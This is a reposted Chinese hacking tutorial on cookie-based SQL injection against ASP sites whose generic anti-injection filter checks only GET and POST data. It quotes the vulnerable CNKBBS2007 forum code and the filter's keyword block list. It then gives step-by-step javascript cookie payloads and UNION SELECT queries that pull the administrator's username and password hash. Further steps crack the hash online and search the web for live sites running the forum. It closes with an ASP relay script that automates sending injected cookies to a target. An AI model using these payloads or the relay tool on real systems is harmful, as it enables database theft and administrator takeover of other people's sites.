[分享]Cookies的注入方法和原理(转)
来源:
互联网
日期:2011-9-11
Tc711Com提示:现在很多网站都采用了通用防注入程序,那么对于这种网站,我门是否就束手无策了呢?答案是否定的 |
现在很多网站都采用了通用防注入程序,那么对于这种网站,我门是否就束手无策了呢?答案是否定的,因为我们可以采用cookie 注入的方法,而很多通用防注入程序对这种注入方式都没有防备。
在讲之前,我们还是来回顾下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用"request("name")"但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.
我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"http://www.cnetking.com/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:
<!--#include file="opendb.asp" --> (调用opendb.asp文件) <!--#include file="char.asp" --> <% Call CheckUserLogin(username) Dim action,s,id id=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交) if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id) conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) ’设置已读 rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3 | 我们再打开"opendb.asp"文件
<%Option Explicit Response.Buffer = true%> <!--#include file="fzr.asp" --> (调用fzr.asp文件) <!--#include file="cnkdata/dbname.asp" --> <!--#include file="config.asp"--> .................. |
以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件
<% ’--------版权说明------------------ ’SQL通用防注入程序 ’Aseanleung ’--------定义部份------------------ Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr Dim fso1,all_tree2,file1,files,filez,fs1,zruserip If Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断) ’自定义需要过滤的字串,用 "|" 分隔 Fy_In = "’|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句) Fy_Inf = split(Fy_In,"|") For Each Fy_Get In Request.QueryString For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR") Response.Write "内容含有非法字符!请不要有’或and或or等字符,请去掉这些字符再发!!<br>" Response.Write "如是要攻击网站,系统记录了你的操作↓<br>" Response.Write "操作IP:"&zruserip&"<br>" Response.Write "操作时间:"&Now&"<br>" Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>" Response.Write "提交方式:GET<br>" Response.Write "提交参数:"&Fy_Get&"<br>" Response.Write "提交数据:"&Request.QueryString(Fy_Get) ...................... | 很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)
代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).
原理讲好了,下面我们来学学coolie注入语句吧
cookies的注入语句:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));
这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:
1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)
2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型
4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码
上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)
最后我们来测试下,利用步骤:
1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)
2:把浏览器的URL清空,输入"alert(document.cookie="id="+escape("相应参数id值 and 1=1"));之后会弹出一个框框,
3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)
3:再输入:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)
4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和5
5:再次把地址栏清空,输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了
6:把得到的密码放入http://www.cmd5.com网站查询,得知管理员的明文密码是admin,在网站的首页我们就可进行登录后台了,我们也可利用关键字"Powered by CNKBBS2007 (5.2)"去网上找使用这系统的网站,(不过不是很多啊)大家去练习下手工的注入吧,可别搞在破坏哟!不过在使用这类注入时,它需要两次手动操作才能完成,这也是容易出错的地方,可要细心才行.
现在很多网站都加了防注入系统代码,你输入注入语句将无法注入~~ 感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题! 所以就有了Cookies注入~~
我们来研究一下怎样情况下才会有Cookies注入! 如果你学过ASP 你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)! 呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值! 我们有时为了简化代码,会写成 ID=Request("ID") 这样写法是简单了,但问题就来了~~~ 我们先看WEB服务是怎样读取数据的,他是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道~~看来书说的不全~~)
我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)! 就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了~~~ 那我们怎样测试是否有Cookies注入问题~
请先看下面的的连接(示例用,所以连接不是真的)
http://www.xxx.com/1.asp?id=123
如果我们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,因为没有参数! 我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题), 先用IE输入 http://www.xxx.com/1.asp 加载网页,显示不正常(没有输参数的原因) 之后在IE输入框再输入 javascript:alert(document.cookie="id="+escape("123")); 按回车,你会看到弹出一个对话框 内容是: id=123 之后,你刷新一个网页,如果正常显示,表示是用 Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入了
在输入框中输入 javascript:alert(document.cookie="id="+escape("123 and 3=3")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面 如果不正常显示,这就表示有注入了~~~
如果程序员是用 Request.QueryString 或 Request.Form 收集数据的话,是无法利用Cookies绕过防注入系统进行注入的,因为服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,WEB服务器是不理的,所以就无法利用了!~
-------------------------------------------------------------------------- 为了方便不懂的朋友了解 javascript:alert(document.cookie="id="+escape("123")); 的意思,我说明一下 document.cookie="id="+escape("123") 就是把 123 保存到Cookies 的 ID 中 alert(xxx) 就是弹对话框
后话 ========================================================== Cookie注入已不算是什么新技术,但还算是很管用的方法,或者有一天,防注入系统会加入Cookies注入检测!
附上加速工具
<% Str="xxxid="&escape(request("FK")) Url="http://xxx.chinaxxx.com/injection.asp" response.write PostData(Url,Str) Function PostData(PostUrl,PostCok) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .SetRequestHeader "Cookie",PostCok .Send PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function %>
更多的[分享]Cookies的注入方法和原理(转)请到论坛查看: http://BBS.TC711.COM
【 双击滚屏 】 【 评论 】 【 收藏 】 【 打印 】 【 关闭 】
来源:
互联网
日期:2011-9-11
|
|
|